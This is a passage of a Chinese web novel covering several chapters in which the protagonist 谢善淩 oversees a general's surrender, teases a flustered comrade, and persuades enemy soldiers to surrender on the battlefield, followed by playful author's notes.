应该是。但贺子煜硬邦邦地说:“他伤没好,可能有些贪睡。” “哦……” “你刚刚不还说想四周看看吗?”贺子煜皱着眉头说,“我带你去看看。” “这多麻烦你。”谢善淩客气中带着疏离地说。 贺子煜有些说不明的烦躁,眉头就没松下来,讽刺地反问:“刚不还说对我一见如故吗?” 说完有些后悔,可已经说了,脸上有些挂不住。 正忐忑,谢善淩仔细看他,问:“那贺兄对我呢?” “啊?” 谢善淩问:“贺兄对我一见是什么感受?” 贺子煜的身体有点僵,目光闪烁,不敢与谢善淩对视,却又不能不看,那会显得太心虚。 他心虚得都不知道自己手上在忙活什么,一下摸下头发,一下摸下衣服,一下低头摸了下桌子。过了好一会儿,他才镇定下来,说:“没、没什么特别的……” 谢善淩看着他红透的耳尖,道:“原来贺兄不喜欢我。” “啊?!”贺子煜大惊失色,不自觉提高音量,“你在说什么!什么喜、喜欢……” 谢善淩十分纯良地看着他。贺子煜后知后觉自己的反应过激,“喜欢”也不一定就是那种喜欢,这显得自己真是做贼似的…… 谢善淩是不是故意的?!临江仙怎么可能如此单纯?! 贺子煜终于回过味儿来,越发警惕地看谢善淩,用眼神告诉对方自己已经识破他的奸计!然而谢善淩的样子依旧坦然且无辜。 贺子煜却已经认定了对方就是在耍自己,越发恨得牙痒,可一时不好发作,正闷气,谢善淩追问:“所以贺兄喜欢我吗?” 贺子煜要疯了,梗着脖子粗起嗓子叱喝:“都是男子汉大丈夫,说些什么胡话!” 他话音没落,恰好此时进来帐内的几个头目就愣在了原地,瞪大眼睛不可思议地看着与平日判若两人的贺子煜。原本他们是兴冲冲来看临江仙和秦青他男媳妇的,这会儿都忘了。 实在是因为贺子煜平时里……嗓音都不是这个啊!面相都感觉变了! 贺子煜察觉到有人来了,扭头一看,面面相觑。 谢善淩慢条斯理地喝了一口茶,然后才站起身笑着打招呼:“诸位,久仰。” * 宋淮安来到时,谢善淩在和诸人谈笑风生,唯独表弟安静坐在角落,不知遭遇了什么,满脸悲愤之色。可是好像暗暗投向谢善淩的目光中除了悲愤又有点儿幽怨。 但他来不及多想,众人见到他,纷纷起身相迎。 宋淮安笑笑,与谢善淩寒暄起来:“昨夜太晚也没多问,还习惯吧?” “很好,子煜体贴周到,很为我着想。”谢善淩说着笑看了贺子煜一眼。 贺子煜背脊微微一直,讶异地对上谢善淩的视线,看着对方朝自己点了点头。 宋淮安与其他人就眼看着贺子煜的脸红了…… “?” 作者有话要说: 秦青:? 贺子煜:你老婆到处问人喜不喜欢他!他有问题!(粗声粗气) 秦青:你嗓子有问题?还是以前有问题? 贺子煜:以前有问题,现在好了。 秦青:…… 贺子煜:重点是你老婆到处问人…… 谢善淩:没有到处问人啊,就问问子煜你。 贺子煜:…… 宁蔚:别信谢善淩的任何一句话[愤怒] * 今天欠1500字,利息按10%。具体咋算你们算吧(不允许算假账[爆哭])全在福利番外还[爆哭]来不及多说了我要准备出门了[爆哭] 第124章 ◎难道真要给秦青戴帽子吗……◎ 晌午时传来了陈贤直的好消息。从孙营来了使者接洽, 表示孙瑛愿意将兵权交回朝廷,哪怕是新朝。 宋淮安大喜过望,突然想到一处,关心又担心地问:“那孙将军呢?” 使者垂眸道:“我哥始终不愿……能否请你们看在他如今的面子上, 网开一面, 许他回归家乡, 从此做乡间一闲翁?” ——这使者正是孙瑛的亲弟弟孙杰。 宋淮安叹了声气,与谢善淩交换眼神, 朝孙杰道:“孙将军之忠义宋某也实感佩。只是可惜他一身的本领从此要埋落闲乡,是天下百姓所失。大梁早已病入膏肓, 致使民不聊生,义军建立新朝非是为了私利, 而是为了苍生活路。” 孙杰深呼吸,点点头,有些颓然:“这道理陈大人也都骂……和我哥说过了。可是我哥是个愚直之人……” 宋淮安沉默一阵, 缓缓道:“好,我可以做主,只要日后孙将军不起兵意图颠覆新朝, 不会去为难他。若他哪日想通了, 前嫌一笔勾销,我们随时敞开门欢迎。谢公子在此为我这话做个见证。” 谢善淩朝孙杰点头:“正是如此。” 孙杰眼中湿润,跪下大声道:“既如此,从此往后孙杰愿为新朝麾下驱使!” “快快请起。”宋淮安温声道,“虎兄有虎弟,往后也是要多依仗孙小将军。你放心, 用人不疑, 疑人不用, 我们不会亏待你和底下的弟兄们。所有人官职暂且不变,从前立场有别,恩怨全清,只从现在论起,待新朝大定论功行赏。” “孙杰替十万军士谢过大人。”孙杰说完才起身。 * 孙瑛虽无论如何也不愿降顺,可他当真交出了手中全部权力。宋淮安并未急着拿在手中,而是让孙杰接着。 义军中自是有人对此有点异议,宋淮安解释道:“如你们所言,我们与孙军多年交战,有着血海深仇。他们必然也对此心怀担忧,如今还心不稳。若我们贸然接手,恐怕不好,易生摩擦猜忌。但我相信他们是真心降顺,若愿意给他们机会,他们必是要奋尽全力立功表意的。” 众人议论一阵,最终没再说什么了。 谢善淩见状道:“如此,去孙营受降我去吧,顺便和孙瑛叙一叙,说不定能套出点儿锦囊妙计来。” 宋淮安笑道:“如此最好。不过还要几人陪同你一起前去……” “子煜肯定算一个。”谢善淩道。 今日比平时沉默寡言太多的贺子煜头皮简直发麻! 谢善淩真的太黏自己了!做什么、说什么都要带上自己!究竟想干什么……谢善淩都有家室了!有秦青了!想对自己干什么?!难道要……难道真要给秦青戴帽子吗……仅仅只是这么一想,贺子煜浑身的毛都要炸开了,惊恐不定,坐立不安。 秦青……秦青若知道了,会不会发疯…… “子煜?”宋淮安微微提高声音。 贺子煜这才反应过来所有人的目光都在自己身上,若是平时他很享受如此,可今日只觉得心底发颤,十分难为情。 “……你没事吧?”宋淮安忍不住问。 “……没事……”贺子煜喃喃说着,忍不住眼神瞟向旁边的谢善淩。 同样是书生,也都曾经或现在重病一场,表哥也是面若好女的美男子,可与谢善淩坐在一块,差别十分明显。 谢善淩面若芙蓉,却又在富贵娇嫩中有一抹化不开似的忧郁清冷,叫人看了忍不住怜惜疼爱想要呵护照顾。 然而想到他曾经做过的种种事情,刚烈性情与外貌极有反差,越发令人欲罢不能……啊啊啊啊啊欲什么罢啊不能对谢善淩欲罢!!! 贺子煜惊恐地在心中狂骂自己发癫! 众人神色微妙看着贺子煜那变化多端的样子,宋淮安都觉得有点丢人了,轻轻咳嗽几声,贺子煜终于回过神来,脸一白,握紧了拳:“我……我……” 宋淮安试图为自己和表弟挽回一点面子,朝谢善淩道:“他可能身体不舒服,让别人和你去吧……” “我没事!”贺子煜猛地说,“我刚、刚想事去了!我可以去。” 宋淮安不冷不热道:“不舒服就去歇着,别添乱。” “我没事!”贺子煜瞥了眼关切看着自己谢善淩,舔了舔嘴唇,说,“我、谢……思玄初来乍到,和我最熟,我陪着好一点。” 宋淮安察觉到事情很不对劲,想了想,虽然没太想明白,但还是果断道:“不,你别陪,范先为,你陪。” 此事论起来是白捡的功劳,范先为虽然高兴,可他不是抢功的人,而且平素和贺子煜关系不错,这会儿没急着领命,而是先看了贺子煜一眼。 贺子煜明显不悦,眉头都拧了起来。 宋淮安见状,沉下脸,道:“军国大事,你们当儿戏呢?” 贺子煜这才反应过来,急忙低头嗫嚅着认错。范先为赶紧起身也认错,随即领命。 作者有话要说: 宋淮安:@江泊润@陈贤直,你们说谢公子坏话的小群可以拉我一下吗? 江泊润:你怎么好意思说谢思玄的坏话,他哪点对不起你了,就你那表弟干了什么想干什么谢思玄还没跟你算账呢,你还想说他坏话?我就知道你不是什么好东西,有其弟必有其兄,我这就去告诉谢思玄,省得他白搭感情[愤怒] 宋淮安:命苦是我的人设吗[爆哭] 第125章 ◎带不走他的人和他的心,就带走他的命。◎ 十万大军还未交接, 孙瑛仍然是将领,不得不出面迎接前来受降的谢善淩等人。 他和谢善淩无甚私交,但到底以前见过面,如今再见是这副场景, 孙瑛自觉无颜相对, 别开眼满脸郁色。 谢善淩先和气地打招呼:“孙将军别来无恙。” 孙瑛自嘲地一笑:“有没有恙也不必说了吧……” 谢善淩正色道:“孙将军不是因败而降, 而是真正心怀子民与兵士,因而毅然放手, 我实钦佩。将军不必为此不忿。” 孙瑛瞥他一眼,欲言又止, 最终只道:“闲话少说了吧,事已至此我无话可说, 该怎么做怎么做吧。” 谢善淩心知他一定委屈郁闷得很,当下并不多言,点了点头。 待受降仪式有条不紊地办完, 谢善淩朝孙瑛抱拳道:“实在是军情似火刻不容缓,此刻不好寒暄,得和小孙将军立刻商讨剿灭豲戎军的事。若放他们逃离, 不知又会祸害到沿途多少百姓, 将来也是后患无穷。” 孙瑛点头:“……我自知晓,不必管我,我已交接完,孙杰今后任你驱使,我现在就孤身离开,绝不生事。” 谢善淩笑了笑:“倒不是赶人, 只是没空和你寒暄, 先说一声, 省得失礼。你自便即可,这孙营我莫非还怕你临到现在才突然多知道了什么去吗?” 孙瑛听了他这话不由也笑了起来,脸上神情略微松动几分,没刚刚那么黑沉了。 谢善淩看向一旁的陈贤直,说:“不如这样,贤直兄对战争之事无有钻研,便替我陪陪孙兄,孙兄此刻心中恐怕难免郁结,还是开解了为好。” 孙瑛也看向陈贤直,悻悻然地嘀咕道:“得了吧,还被他骂得不够吗……” 陈贤直咳嗽几声:“我那是和你讲道理,你就说难道不是那些理吗?若不是,你怎么还是听进去了呢……” 但还是一并退去了。 谢善淩看着孙瑛离去的背影,朝孙杰叹道:“他还真是一点也不帮我们啊?” 孙杰摸摸头,欲言又止,想想兄长瞪着眼睛逼自己保证不准说出来的事,咳了两声道:“嗯……他是比较固执……别管他了吧!我这儿有些话要说,关于如何剿灭豲戎军,我想出了……” 谢善淩看着他,微微笑着倾听。 * 谢善淩来了。将灵得到了这个消息。 他坐在位子上,面无表情地看着面前桌上摊开的舆图,目光却有些缥缈,似乎透过这里看到了别的东西或是人。 谢善淩不仅来了这里劝服孙瑛交出兵权对豲戎军赶尽杀绝,今后一定会被顾裕帧立为皇后。 帐外有些吵闹。豲戎军中如今传言四起,军心动摇。 各方势力,譬如七王子乃至于豲戎内部的其他势力,以及谢善淩、宋淮安等人,肯定都不放过这个机会,伺机叫人从中撺掇,何况原本就有人见势头不对只想先逃命的,将灵杀了几十个人,却并没有真正压住浮动的人心。 他心知大势已去,其他人也知道。他们说他就是想拉着大家陪葬,其实也算说对了。不过他不仅要这些人陪葬,还要宋淮安……以及谢善淩,一起陪葬。 尤其是谢善淩。 即便到最后注定一切都要失去,也要带走谢善淩。带不走他的人和他的心,就带走他的命。 * 孙瑛暂且留了下来。他自己其实也担心豲戎军一事暂且不说,面上他是被弟弟和陈贤直强留下来的,他便顺水推舟了。 夜里,他正坐在帐内发呆,谢善淩来访,笑吟吟地说:“我猜你就没睡。” “这么晚了有什么事?如果是又劝我出手,不必多话,我仍是那些话。”孙瑛梗着脖子说。 谢善淩却摇了摇头:“深夜自然是为了私事。” 孙瑛一怔,随即瞪大眼睛明显往后闪躲了一下,极为警惕。 谢善淩都被他这举动弄愣了一下,幽幽道:“……我从前不知孙兄竟也这么能想。” 孙瑛比谢善淩大不少岁数,说是说孙兄,其实要说差着辈儿也能说,还有妻有子,谢善淩完全没往那方面的戏弄上想。他不是什么人都那么耍…… 孙瑛反应过来,也有些尴尬,轻咳了两声:“到底什么事?” 谢善淩满脸真挚:“孙兄卸甲后总得有个营生养家小吧!” “这就不关你的事了。”孙瑛硬邦邦道。 “孙兄武艺超群,人品卓绝,名声在外,开个镖局必然生意红火。”谢善淩自顾自地说。 “……你究竟想说什么?”孙瑛很防备他。 谢善淩沉默片刻,叹道:“我现在就想请孙兄先保我这镖。将灵必定要杀我。” 作者有话要说: 晚了七分钟更新,多算1000字欠债(已经放飞自我对不起[爆哭] 第126章 ◎豲戎军的败势已成定局。◎ 孙瑛听了一阵无语。谢善淩与将灵的恩怨纠葛, 他自然是知晓的。 怎么说呢。将灵若要杀谢善淩,孙瑛觉得这太理所当然。一个人被那样耍,很难不起杀心,若再不起反而才奇怪。 但那是站在将灵的角度。孙瑛没必要站在将灵的角度, 他也痛恨豲戎多年杀戮掠夺大梁边境, 狼子野心觊觎中原。 如今谢善淩开门见山请他保护自己, 孙瑛没有第一时间就断口拒绝。 谢善淩便知道,他会答应。 过了会儿, 孙瑛开口拒绝,但谢善淩没当回事, 一再述说自己可怜的处境,再提提自己当年义灭豲戎探子因而才与豲戎结下旧仇的功绩…… “往后国君虽然不再是国君, 百姓却依然是那些百姓。孙兄难道要坐视百姓们失去我这样一位忠肝义胆、明察秋毫的英豪吗?”谢善淩诚恳发问。 哪有人自己这么说自己的……还一脸这么认真…… 孙瑛又无语了一阵。 然而虽谢善淩脸皮厚,说的话却都是真的。再者说,若谢善淩真在这儿出了什么事, 难保秦青他们不会迁怒于孙家军。还真不能让谢善淩死在这。 孙瑛思来想去良久,最终拧着眉头闷声应了。 但是接下来直到对豲戎军正式开战打成一团,谢善淩一直没有遇到任何刺杀。 他只是在一个夜里接到了一封随着利箭飞来的信, 是将灵的笔迹, 约他去营外山坡一聚,允诺不会对他动手,只这一晚摒弃所有恩怨情仇与身份立场,再像从前那样赏月饮酒谈天说地,过后一切都一笔勾销,只当是陌路人各为其主。 谢善淩看完, 脸上没什么表情, 将信对折回去, 放到烛火上点燃,一松手,看着它飘落到地上,很快就只剩一点灰。 “什么?”孙瑛问。 谢善淩如实相告,孙瑛皱眉:“你要去?” “不去。”谢善淩淡淡道,“我信不过他,何况也与他无话可说。” 孙瑛思及两人过往,忍不住感慨:“有时我也不知你究竟是多情之人还是无情之人。” 谢善淩看他,微微挑眉,反问:“我为何要对敌人有情?” 孙瑛嗤笑:“有时候我觉得你不像个人。” 这话并非讽刺,而是真心。孙瑛真觉得谢善淩有时候不像“人”。 这人可以为了素昧平生、出身卑贱的民妇而义愤填膺,不惜只身对抗皇权,可将灵纵有千般不是,对谢善淩可以说是掏心挖肺,对不起天下人唯独没有对不起谢善淩,偏偏谢善淩丝毫不为所动,比别人还要痛恨将灵。 孙瑛想想都觉得谢善淩这种人有点可怕。 谢善淩并不过多解释,只道:“人心中自有一杆秤,不是彼此都能理解。正如孙兄你非要为了那个无道的大梁朝尽忠守节,我也不能明白,并且觉得奇怪,但是我依然尊重你。人若迂腐在一个其实论起来是正直道理上的事,哪怕不合时宜,也值得尊敬。” “倒也是!”孙瑛自嘲一笑,不再多说。 豲戎军的败势已成定局。 接连几次相互试探,豲戎军死伤不轻,谢善淩这边越发士气高涨,义军正春风得意,孙军铆足着劲儿表现,对面却人心溃散,几度出现士兵大规模偷逃。 将灵下令当众杀鸡儆猴过几次,却反倒更令人失望。到后来就连其他豲戎将领都看不过去了,与将灵吵起来。 当天夜里,与将灵吵得最凶的那个就暴毙了。 这下子捅了马蜂窝,又或者是压倒骆驼的最后一根稻草,其他将领彻底与将灵撕破了脸,根本不信将灵砌词狡辩说人十有八|九是谢善淩设计暗杀挑拨离间的。 有人私下里联系谢善淩,表示要卖将灵换取其他人的活路。谢善淩想也不想就拒绝了。 这人虽然恼火,却因此越发笃信先前的人就是将灵杀的,和谢善淩无关。 上头争执不断,下头自然有所感知,越发不愿卖命。及至战场之上,某日刚要开打,突然有人高呼要投降,甚至用半生不熟的中原话喊道:“你们说过投降不杀!!!” 孙杰冷笑:“我可没说过……”话没说完,突然收住,转头与出身白龙义军的范先为面面相觑。 这话……是白龙义军一直以来所说的,用以动摇对面军心,而且履有奇效。 对面见没有回应,又大声喊道:“投降不杀!” 这人中原话说得生疏,但这四个字儿格外熟练,也不知道背地里咀嚼练习多久了,全是对生的渴望。 “这话怎么让他们都听去了的?”孙杰幽幽地问。 范先为笑了笑:“这就得问我们那两位军师了。”临江仙和宋淮安。这两人也算是意气相投,与他们这些越杀越勇的武将不同,他俩很爱在真刀真枪的战场之外下功夫。 但是话又说回来了,能尽量减少人命的伤亡而获胜,何乐而不为? 范先为却忽的有些迟疑:“不过确实,当时这话是说给大梁人兵士听的,打来打去都是一家人,如今是豲戎人说,这就……” 孙杰赶忙道:“别看我,你拿主意啊兄弟。我是降将,我能说上什么话?如今夹起尾巴做人而已!” 范先为却不高兴了:“孙兄你说这话不是寒碜人吗?我对你不够尊重还是怎么的?” “当然不是这个意思……” “那你说那话多伤感情?”范先为绷起脸说,“我才知道你和我称兄道弟这些天,原来心中还是这么想的!” “……这个之后再跟你解释!先说眼前。”孙杰说。 范先为正要叫人赶紧去后方问谢善淩,已经有人策马过来,他定睛一看,来不及问贺子煜怎么突然来了,贺子煜给他一个眼神,没有停留,直接去到阵前,高举着手中的军旗,竟大喊起了豲戎话。 “他叽里呱啦说什么呢?”孙杰问。 范先为:“我哪知道?你还读过书呢,我祖上世代屠户。” 孙杰瞥了眼他那两把大砍刀:“不过范兄你名字倒是取得颇有文采。” “哦,宋先生取的,我原本叫范尺八。”范先为说。 孙杰:“希望你长大后身长八尺?那确实达成了所愿。” 范先为:“不,我家乡话尺八是吃饱,饭吃饱,希望我将来吃饱饭。” 孙杰不由笑道:“你家世代屠户还担心这个?” 范先为却叹了一声气,看着他道:“孙兄你出身与我不同,自然不懂,不是那句话咋说的来着……宋先生常念叨的……那什么……” “遍身罗绮者,不是养蚕人。” 两人齐齐看向来者。“哥?”/“军师你怎么来了?”几乎同时出声。 孙瑛绷着脸没理会弟弟。谢善淩则和气道:“来看看。” “这有什么好看的?你还是回去安全些。你就复杂在后面指挥出主意,前面打打杀杀的交给我们,战场上这刀剑无眼的……”范先为关心地说。不仅关心临江仙这看起来格外脆弱的样子,还很关心自己会不会被秦青和宋淮安找麻烦。 谢善淩一笑,没接这话,而是说:“子煜在告诉他们,即便是豲戎人,只要真心投降就不杀!但要收走兵器接受关押与审判,按过往罪行判处刑罚。” 他说着,看向孙杰:“我擅自做主,抱歉了。” 孙杰摇了摇头:“既已归顺,说不上这话。只不过……没想到你会愿意放过他们。你不是一向对豲戎人恨之入骨绝不饶恕的吗?” 谢善淩道:“没有饶恕啊,说了要秋后算账。若是从前没犯过太多杀孽的就坦然认了,这样的人,虽是豲戎人,恐怕不一定是自愿出战的,顺势给次机会无有不可,我们也有好处,还立了威信。若是自知降了也活不过审判的,没法儿浑水摸鱼,自然不会降,可他们力量已经大大削弱。无论怎么都对我们有利。” 孙杰略一思忖,点头称是。 第127章 ◎“也是再给你一次机会。江凌。”◎ 另一边, 阵前贺子煜连着大声喊了三遍那话,对面豲戎军士听得一清二楚,议论纷纷,止都止不住。 今日领兵出阵的豲戎将领闭了闭眼睛, 深深吐出一口浊气。 他不能降, 因为按贺子煜的说法, 他曾屡犯梁境,烧杀抢掠都作过, 现在死战是死,投降被审完恐怕也活不了, 那不如死战,在王城留个名声。 可是…… 他默不作声地环顾四周豲戎兵士。 这次带来的这批人里许多都是年轻新征的, 也许原本未来也会做出和自己曾经一样的事情,但无论如何,现在还没做。 按照对面的说法, 他们若是投降,可以活下去;若是死战……就眼下局势,必然十死九伤。 半晌, 将灵的心腹领着数人从后方策马而来, 高声厉喝:“刚刚是谁动摇军心?立刻斩杀!若有和他一样者,杀无赦!” 说罢,他身后那几人便驱马前去巡阵。 这些人是将灵编制用来专门镇压生出反叛之心将士的,有不报即可当场诛杀的特殊权力,很不得人心,都惧怕且厌恶他们。 已经有很多豲戎兵士死在他们残忍的手上。 此刻他们的到来令原本就已经足够压抑的氛围越发压抑。 刚刚头一个高喊要投降的小兵面如死灰, 心知死期已至。 他周遭的同伴相互看了一眼, 有几个状似无意地稍稍挪了挪位置, 想将他遮挡住蒙混过去,然而并未成功。 有心生同情出手相助的,也总会有背道而驰的出卖者。 一个监察者根据一些人的视线神情锁定了目标,冷着脸来到面前。即便是想救同伴的那些人,出于本能的畏惧,终究还是讪讪地让开,露出那人来。 那小兵无马,是站着的,此刻仰头看了看笼罩在自己身上的阴影,同伴散开后冷风直灌入他的体内,令他腿如抖筛,不多久便颓然地跪倒在地,束手待死。 谢善淩将这一幕都看在眼里。 此刻两边都没有声响,乌压压的许多人,却针落可闻。 谢善淩久久看着那个绝望的豲戎小兵。 豲戎人无论男女,多以壮实、看起来粗重厉害为美,尤其男子,不到二十就满脸浓厚胡须、看起来三四十了似的比比皆是。可这个小兵没什么胡须,比周围的人矮小一些,看起来还很年轻,那么应该比看起来的年岁还要更小。 也许有朝一日他长大后也会成为掳掠烧杀中原人的一员。 一个人天生就很坏这是有的,譬如潘成栋之流; 但也有人生下来就心善,即便自小就让他历经磨难、并不专门教化,他仅仅依靠自己的摸索也依旧一路成长为一个很好的人,譬如顾望笙。 与此同时,还有起初也许是站在善恶的中央并没分左右,但在长年累月的生长环境、教化中走向了不同方向的人。也许将灵就属于这样的人。 也许,其实绝大多数的人都是这样的。譬如这个小兵。 就像将灵曾经所言,他们生来就是豲戎人,豲戎生存之地贫瘠,生活艰苦,人却强壮,自然生出抢掠之心来。一代又一代如此教育,便一代又一代那样做。 将灵是王子,尚且接受到了启蒙教化,因而有自己的思考,却依旧喾于立场而那样,这些小兵显然没有那个条件。 他们在懵懵懂懂的年纪就被大人牵上了歧途,往后也只能一条道走到黑。 其实归根结蒂,战争所带来的苦难、死亡,大多数时候都是由这些人承受,而战争所带来的利益他们不见得能分到多少。 这一点倒是不分大梁或豲戎,甚至不分古往今来。 谢善淩渐渐地意识到,也许世上最大的敌对矛盾并非国与国,而是上与下。 昔日大梁的权贵享受奢靡富贵,百姓受难于贫困艰苦,而在豲戎,又何尝不是如此? 监察者举起了手中的刀,冷漠地正要朝那待死的小兵脖颈砍下,小兵低下头紧紧闭着眼睛——却迟迟没有等到想象中的剧痛。 倒是听到了突然爆发的惊呼声,以及随之而来什么重物落地…… 小兵猛然睁开眼睛,看着脖子被箭刺穿、直直倒在地上扬起一阵尘土的监察者的尸体…… 贺子煜眼睛瞪得大大的,震惊地看着身旁的谢善淩。 谢善淩缓缓睁开刚刚拉弓搭箭时闭上的一只眼睛,将弓垂下搭放在马背上,神情肃然而凌厉。 风吹扬起他高高束起的马尾,黑发如墨,越发衬出他雪一般白的肌肤和寒星般的眼眸。 贺子煜适才所说豲戎话是谢善淩今早教授,他硬记下来的。听在豲戎人耳中如同刚刚孙杰他们听那个豲戎小兵说中原话,能听懂,但腔调别扭。 可此刻谢善淩开口,流畅自然,腔调标准,简直与豲戎人无异。 他的声音清晰而沉稳,用豲戎语道:“你们心知肚明已到陌路,固然可与我军以命换命,可难道真舍得家中父母妻小?此战过后,除了哭泣的家人,不会再有人记得你们的死亡。” “但若你们此刻投降,我说到做到,绝不滥杀。若曾对中原子民犯下罪行,我会按照中原律法一一判处,不轻饶,却也不会重判。中原富饶,豲戎贫瘠,我知你们生存不易,待受完惩戒,或遣返你们的故土王城,或你们能接受中原文化的驯化,愿意从此安分守己地留在这里生活,也未尝不可。” 谢善淩缓缓说道:“你们应该大多认识我谢善淩,知道我痛恨豲戎入骨,但我所恨的是滥杀无辜、对中原贼心不死的豲戎人,而非身不由己或愿痛改前非之人。你们原本不能选择自己的投生之地,但此刻我给了你们一次这样的机会。” 豲戎兵士面面相觑,不知从哪里起,渐起哗然议论。 几个监察者见势不对,正要故技重施,杀几只鸡儆猴,谢善淩眼疾手快,从身旁贺子煜背上箭袋里再抽出一支箭来,抬起弓迅速瞄准,射出—— 随着锋利的破风声,如同不久之前,箭刺透又一个监察者的脖子。 贺子煜突然余光一闪,大喝一声“小心”,同时拔出腰间宝剑将朝谢善淩直直飞来的利箭横空斩断。 跟在谢善淩另一边的孙瑛令马上前,挡在了谢善淩的前面。 贺子煜低声道:“你回后面去。” 谢善淩却没有动,视线透过缝隙对上骑着马缓缓来到阵前的将灵的眼睛。 ——刚刚那支箭正是将灵所射。 随着将灵的出现,豲戎军内的议论声再没有了,大概是怕极了他。 两人对视许久,谢善淩冷冷道:“将灵,你明知没有胜算,这就是让所有人为你的不甘而白白送死。” 他不仅是和将灵说话,还要让其他豲戎军士听到,因此一直说的豲戎语。 贺子煜完全听不懂,不由得皱起了眉头,想了想,越发握紧手中的剑,警惕地注意着对面的风吹草动。 将灵笑道:“豲戎血性,宁死不屈。” 谢善淩平静地反问:“他们为什么要为了你所谓的豲戎血性而白白送死?这会令他们的父母得到赡养得以颐养天年,会令他们的幼子得到抚育长大成人?都不会。” 将灵又笑了,问:“你既然这么想,当初怎么你就为了血性骨气闹出那么多事?” 谢善淩说:“因为我是为了正义真理,而你们是侵犯他国的作恶者,那不是血性,是失去人性的贪婪与疯狂。” “你总觉得你很正义。”将灵的语气颇为嘲讽。 谢善淩:“事实如此。” 将灵沉默了一阵,换了话题:“让我带他们回豲戎。我可以保证,至少十年不犯边境。你先别急着拒绝。若非要逞一时意气,这一仗也许你会赢,但会有许多人死去,你不是自诩正义善良见不得这些吗?而且,中原与豲戎的血海深仇越发深厚,这些豲戎兵士的父母家人一定不甘心,豲戎会厉兵秣马准备复仇。” 谢善淩忽的笑了起来。 他环顾豲戎军,说:“将灵,你似乎弄错了一件事。” 将灵没有说话。 “我是看在他们尚有求生之心,上天有好生之德,所以才说那些话。我不怕你们厉兵秣马地复仇,因为我根本就不信你们会停止觊觎中原。我只是给那些为了你们的私欲而被迫面临死亡却心中实在不甘的可怜人一次他们在此前不曾得到过的选择自己命运的机会。” 谢善淩定定看着将灵,停顿片刻,忽而道:“也是再给你一次机会。江凌。” 将灵许久没有再言语。 他知道,这个所谓的机会对于别人而言是可以活下去,但对于自己而言,并非如此。 谢善淩一直想要他的命,始终不曾放弃这个想法。在谢善淩冷血无情的思维中,他犯下的罪行所应该得到的判处就是死刑。 而谢善淩认为,他只能、也应该,用死亡去消弭过往的罪孽。 谢善淩所说的就是这个可笑至极的“机会”。 将灵忽然转过头去看自己身后的豲戎将士们。他看到,一张张脸上不是迷茫就是躲避自己的视线。 他们被谢善淩的话说动了。 都是懦夫。 作者有话要说: 贺子煜:[可怜]我曾说过谁能拉开我的弓我就…… 宋淮安:你没说过这屁话快走吧[捂脸笑哭] 第128章 顾望笙亲自来到城外迎接。猎猎风中, 谢善淩看到他已经大变样。 在自己离开京城的寥寥数月里,顾望笙已经显现出了一个年轻帝王的威势,自然不像顾裕帧的滑稽咋呼,就连秦青的冷酷业已更倾向于稳重。 夫妻二人自是不急于在这个时候叙谈, 于情于理, 顾望笙都得先问候宋淮安一众白龙义军的将帅, 以及孙家军一系。谢善淩今日就连衣服都刻意穿得低调,避让众人风头, 在他们说话时站在一旁安静看着。 一番言辞嘉勉,赐酒同饮, 许诺封赏所有有功将士,振奋人心。 这么多人肯定不能一齐涌入京城, 大多都驻扎在城外,但顾望笙早就下令为他们布置地方,送去赏赐的财物食物犒劳他们多日的辛苦。 经过多日的并肩作战与同行, 又有刚才新君的允诺,孙家军的人已渐渐放下担忧,此时听说一会儿就能放松纵情一番, 都乐起来, 忍不住喜上眉梢,甚至窃窃议论。这是常情,通常不会被君主训斥,反倒会欣慰得意。 孙杰原本并未多想,直到他突然察觉不对劲,转头看向宋淮安身后的白龙军, 愣了愣。 白龙军秩序井然, 兵士脸上并非没有欣喜, 但依旧镇定冷静,没有一人说话。 孙杰瞥了眼自己身后的队伍作比较…… 孙家军在孙瑛的多年操练下已经是很有样子的,平素认真起来不输白龙军,可这样一来,高下就在容易松懈的时刻显现出来了。 其实孙杰早就注意到了白龙军的规整,只是没想到这一刻他们竟仍这样训练有素,心中不由生出钦佩与羡慕来,暗暗埋怨兄长半路耍赖找借口非说祖宗托梦勒令他赶紧回老家扫坟,不能亲眼见到这惊人的一幕。 各将帅自然是随顾望笙进京入宫。启程时,顾望笙忽的转身看向谢善淩,朝他伸手。 谢善淩给他一个“别逼我当着这么多人面打你手”的眼神。顾望笙当作没看出来,见他不动竟还出声唤道:“思玄。” 谢善淩无奈。同床共枕了那么久,知这人要么不犟,若真犟起来不比自己好对付,便只好走上前去。 顾望笙立刻牢牢握住了谢善淩的手,牵着他回到辇车之中并坐。 到底是一桩大喜事,怎么都得布置一番,道路两旁隔不远便挂些红绸,不算铺张。令孙杰更惊奇的是,路边有许多穿着新衣裳的小孩儿,拾掇得干干净净,红头绳扎着发,拍着手笑着唱诵迎庆的歌谣。这就很新鲜了。 教小孩子们排练不比教惯于此道的艺人,有今日这效果是因为提前一个月都在练。京城的百姓习以为常,此刻笑吟吟看着。 孩子的家人们更是高兴,只恨不会作画将这一幕画下来才好。此等大事怎么敢想自家孩子也在其中出了一份力? 浑然忘了一开始人心惶惶传言新君是要召集小孩去祭天…… 少数跟随将领入城的白龙义军士兵早习惯了这场面,这时候终于脸上肃然的表情有所松动,露齿笑着,边走边看路旁的小孩儿,霎时便仿若他们是这些孩子的自家亲父兄叔伯一般亲近,露出朴实憨厚的气质来。 孙杰与部下已经完全看傻了眼,愣愣的许久不能回神,但心中已经本能地被这真正普天同庆的一幕所感染,渐渐地,情不自禁也露出了和蔼温柔的笑来。 以往的所谓“普天同庆”好像和百姓没什么关系,百姓只是站在路边看热闹,热闹只是官家的。这一刻却不一样。 这一刻,他们恍然觉得,好像封赏什么的都不再重要,浴血沙场不是为了自己的前程,而是为了无数百姓的欢喜笑颜,为了孩子们的前程,哪怕这些孩子与自己并无关系,可又好像有着不可脱离的干系。 良久,孙杰的眼底竟湿润起来,万般滋味在心头,有些陌生与酸涩,却又莫名熨帖。 …… 晚宴直到深夜才散去。 谢善淩兴起喝多了一些,醉了,顾望笙没闹他,将他带回寝宫放在床上,不假人手,亲自为他脱去靴袜和外衣,接过宫娥递来的暖湿帕子为他简单擦洗,顺便自己也擦洗了下,随后便屏退众人,躺到他的身旁静静地看着。 谢善淩睡了阔别重逢香甜安稳的一觉。醒来时,觉得浑身的骨头都是酥软的。 他眼睛还没全睁开,意识还没全回笼,就已经本能地朝顾望笙怀里又靠了靠。 顾望笙揽着他肩头的手立刻就紧了紧,柔声问:“醒了?喝不喝点水?” 谢善淩长长地叹口气,却不是不舒服的意思,而是很舒服的意思。他开口时声音有点沙:“喝点儿……” 顾望笙却说:“不想起身。” 谢善淩懒洋洋地白他一眼。 “舍不得离开你一下。说好了只去十天的。”顾望笙试图和他算账。 